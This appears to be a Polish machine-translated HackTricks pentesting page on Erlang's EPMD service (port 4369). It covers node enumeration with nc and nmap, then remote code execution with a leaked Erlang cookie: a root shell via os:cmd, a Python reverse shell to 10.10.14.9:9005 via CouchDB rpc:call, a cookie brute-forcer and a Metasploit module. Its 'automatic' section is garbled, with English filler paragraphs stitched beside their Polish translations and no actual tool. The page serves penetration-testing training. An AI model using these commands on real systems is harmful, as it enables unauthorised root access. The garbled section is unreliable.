7.6 KiB
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Podstawowe informacje
Erlang Port Mapper Daemon (epmd) pełni rolę koordynatora dla rozproszonych instancji Erlanga. Jest odpowiedzialny za mapowanie symbolicznych nazw węzłów na adresy maszyn, zapewniając, że każda nazwa węzła jest skojarzona z określonym adresem. Rola epmd jest kluczowa dla płynnej interakcji i komunikacji między różnymi węzłami Erlanga w sieci.
Domyślny port: 4369
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
To jest domyślnie używane w instalacjach RabbitMQ i CouchDB.
Wyliczanie
Ręczne
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369
#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses
Automatyczne
Introduction
Wprowadzenie
The Erlang Port Mapper Daemon (EPMD) is a network service that runs on the Erlang runtime system. It is responsible for managing the distribution of Erlang nodes on a network. EPMD listens on port 4369 by default and allows nodes to register and discover each other.
Erlang Port Mapper Daemon (EPMD) to usługa sieciowa działająca na systemie uruchomieniowym Erlang. Odpowiada za zarządzanie dystrybucją węzłów Erlang w sieci. EPMD nasłuchuje na domyślnym porcie 4369 i umożliwia rejestrację i odkrywanie węzłów.
Automatic Discovery
Automatyczne odkrywanie
One of the key features of EPMD is its ability to automatically discover Erlang nodes on a network. This feature is particularly useful in distributed Erlang systems where nodes need to communicate with each other.
Jedną z kluczowych cech EPMD jest jego zdolność do automatycznego odkrywania węzłów Erlang w sieci. Ta funkcja jest szczególnie przydatna w rozproszonych systemach Erlang, gdzie węzły muszą komunikować się między sobą.
When a new Erlang node starts, it can register itself with EPMD by sending a registration request to the EPMD server. The EPMD server then assigns a unique port number to the node and adds it to its registry. Other nodes can discover this new node by querying the EPMD server.
Gdy nowy węzeł Erlang zostaje uruchomiony, może zarejestrować się w EPMD, wysyłając żądanie rejestracji do serwera EPMD. Serwer EPMD przypisuje węzłowi unikalny numer portu i dodaje go do swojego rejestru. Inne węzły mogą odkryć ten nowy węzeł, pytając serwer EPMD.
Conclusion
Podsumowanie
EPMD plays a crucial role in managing the distribution of Erlang nodes on a network. Its automatic discovery feature simplifies the process of node registration and allows nodes to easily communicate with each other in distributed Erlang systems.
EPMD odgrywa kluczową rolę w zarządzaniu dystrybucją węzłów Erlang w sieci. Jego funkcja automatycznego odkrywania upraszcza proces rejestracji węzłów i umożliwia łatwą komunikację między nimi w rozproszonych systemach Erlang.
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
| epmd-info:
| epmd_port: 4369
| nodes:
| bigcouch: 11502
| freeswitch: 8031
| ecallmgr: 11501
| kazoo_apps: 11500
|_ kazoo-rabbitmq: 25672
Erlang Cookie RCE
Remote Connection
Jeśli uda ci się ujawnić ciasteczko uwierzytelniające, będziesz mógł wykonać kod na hoście. Zazwyczaj ciasteczko to znajduje się w ~/.erlang.cookie
i jest generowane przez Erlang przy pierwszym uruchomieniu. Jeśli nie jest zmieniane lub ustawiane ręcznie, jest to losowy ciąg [A:Z] o długości 20 znaków.
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
Eshell V8.1 (abort with ^G)
At last, we can start an erlang shell on the remote system.
(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"
Więcej informacji na https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
Autor udostępnia również program do bruteforce'owania ciasteczka:
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
Lokalne połączenie
W tym przypadku zamierzamy wykorzystać CouchDB do eskalacji uprawnień lokalnie:
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
Przykład zaczerpnięty z https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
Możesz użyć maszyny Canape HTB do ćwiczenia, jak wykorzystać tę podatność.
Metasploit
#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce
Shodan
port:4369 "na porcie"
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć reklamę swojej firmy w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.